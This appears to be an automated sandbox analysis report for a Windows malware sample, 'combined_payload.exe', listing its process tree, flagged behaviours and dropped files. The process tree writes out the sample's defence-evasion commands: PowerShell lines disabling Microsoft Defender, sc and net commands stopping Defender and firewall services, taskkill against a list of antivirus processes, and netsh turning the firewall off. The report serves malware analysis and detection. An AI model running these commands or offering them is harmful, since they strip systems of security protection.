Analysis

  • user interaction
    yes
  • max time kernel
    24s
  • max time network
    27s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    30/09/2026, 16:34

General

  • Target
    combined_payload.exe
  • Size 1.5MB
  • Sample260930-t3c2esda82
  • SHA256 2d275f8c548e15c10939ce1d45e4e801b2e2a02573c1889a6c8305c4f4db9466
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Disables one or more Microsoft Defender components 1 TTPs 5 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Disables service(s) 3 TTPs
  • Stops running service(s) 4 TTPs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Using powershell.exe command.

  • Enumerates connected drives 3 TTPs 5 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Launches sc.exe 2 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Kills process with taskkill 15 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\combined_payload.exe
    "C:\Users\Admin\AppData\Local\Temp\combined_payload.exe"
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4696
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
      2⤵
      • Disables one or more Microsoft Defender components
      • Command and Scripting Interpreter: PowerShell
      • Enumerates connected drives
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3608
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
      2⤵
      • Disables one or more Microsoft Defender components
      • Command and Scripting Interpreter: PowerShell
      • Enumerates connected drives
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3308
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableBlockAtFirstSeen $true"
      2⤵
      • Disables one or more Microsoft Defender components
      • Command and Scripting Interpreter: PowerShell
      • Enumerates connected drives
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1884
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableIOAVProtection $true"
      2⤵
      • Disables one or more Microsoft Defender components
      • Command and Scripting Interpreter: PowerShell
      • Enumerates connected drives
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1576
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableScriptScanning $true"
      2⤵
      • Disables one or more Microsoft Defender components
      • Command and Scripting Interpreter: PowerShell
      • Enumerates connected drives
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4548
    • C:\Windows\SYSTEM32\sc.exe
      sc stop WinDefend
      2⤵
      • Launches sc.exe
      PID:660
    • C:\Windows\SYSTEM32\sc.exe
      sc config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:4404
    • C:\Windows\SYSTEM32\taskkill.exe
      taskkill /f /im MsMpEng.exe 2>nul
      2⤵
      • Kills process with taskkill
      PID:5020
    • C:\Windows\SYSTEM32\taskkill.exe
      taskkill /f /im MsSense.exe 2>nul
      2⤵
      • Kills process with taskkill
      PID:1596
    • C:\Windows\SYSTEM32\taskkill.exe
      taskkill /f /im SenseIR.exe 2>nul
      2⤵
      • Kills process with taskkill
      PID:4732
    • C:\Windows\SYSTEM32\taskkill.exe
      taskkill /f /im SenseNdr.exe 2>nul
      2⤵
      • Kills process with taskkill
      PID:860
    • C:\Windows\SYSTEM32\taskkill.exe
      taskkill /f /im WdNisSvc.exe 2>nul
      2⤵
      • Kills process with taskkill
      PID:2452
    • C:\Windows\SYSTEM32\taskkill.exe
      taskkill /f /im SecurityHealthService.exe 2>nul
      2⤵
      • Kills process with taskkill
      PID:2900
    • C:\Windows\SYSTEM32\taskkill.exe
      taskkill /f /im MpCmdRun.exe 2>nul
      2⤵
      • Kills process with taskkill
      PID:3660
    • C:\Windows\SYSTEM32\taskkill.exe
      taskkill /f /im avp.exe 2>nul
      2⤵
      • Kills process with taskkill
      PID:3388
    • C:\Windows\SYSTEM32\taskkill.exe
      taskkill /f /im avguard.exe 2>nul
      2⤵
      • Kills process with taskkill
      PID:2312
    • C:\Windows\SYSTEM32\taskkill.exe
      taskkill /f /im bdagent.exe 2>nul
      2⤵
      • Kills process with taskkill
      PID:1624
    • C:\Windows\SYSTEM32\taskkill.exe
      taskkill /f /im egui.exe 2>nul
      2⤵
      • Kills process with taskkill
      PID:4944
    • C:\Windows\SYSTEM32\taskkill.exe
      taskkill /f /im kavfs.exe 2>nul
      2⤵
      • Kills process with taskkill
      PID:2500
    • C:\Windows\SYSTEM32\taskkill.exe
      taskkill /f /im mcshield.exe 2>nul
      2⤵
      • Kills process with taskkill
      PID:2936
    • C:\Windows\SYSTEM32\taskkill.exe
      taskkill /f /im norton.exe 2>nul
      2⤵
      • Kills process with taskkill
      PID:4372
    • C:\Windows\SYSTEM32\taskkill.exe
      taskkill /f /im sophos.exe 2>nul
      2⤵
      • Kills process with taskkill
      PID:3312
    • C:\Windows\SYSTEM32\netsh.exe
      netsh advfirewall set allprofiles state off
      2⤵
      • Modifies Windows Firewall
      • Event Triggered Execution: Netsh Helper DLL
      PID:1256
    • C:\Windows\SYSTEM32\net.exe
      net stop mpssvc
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4200
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 stop mpssvc
        3⤵
          PID:3408

    Network

          MITRE ATT&CK Enterprise v16

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          Downloads

          powershell.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
          • Size 2KB
          • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 944B
          • SHA256 8478ca44e6145dbe6664f871852535793f5ab6d86b4c78c611165bdfb91f159a
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 944B
          • SHA256 ad07460e061642c0dd4e7dfa7b821aacce873e290389e72f708e9f3504f9d135
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 944B
          • SHA256 a2df2570980e1123d9af8e12a27a82d3a4d332f0e7dd44e4e225743207c099b3
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 944B
          • SHA256 30bf8496e9a08f4fdfe4767abcd565f92b6da06ca1c7823a70cb7cab16262e51
          • MD5 SHA1 SHA512 TLSH

          __PSScriptPolicyTest_ib25cgvc.wmh.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ib25cgvc.wmh.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          memory/1576-43-0x0000027AC5CD0000-0x0000027AC5EEC000-memory.dmp

          memory/1884-33-0x0000016AC4410000-0x0000016AC462C000-memory.dmp

          memory/3308-13-0x0000024DD8B70000-0x0000024DD8B80000-memory.dmp

          memory/3308-23-0x0000024DDACF0000-0x0000024DDAF0C000-memory.dmp

          memory/3608-1-0x000001BB6FD00000-0x000001BB6FD10000-memory.dmp

          memory/3608-2-0x000001BB71DB0000-0x000001BB71DD2000-memory.dmp

          memory/3608-0-0x000001BB6FD00000-0x000001BB6FD10000-memory.dmp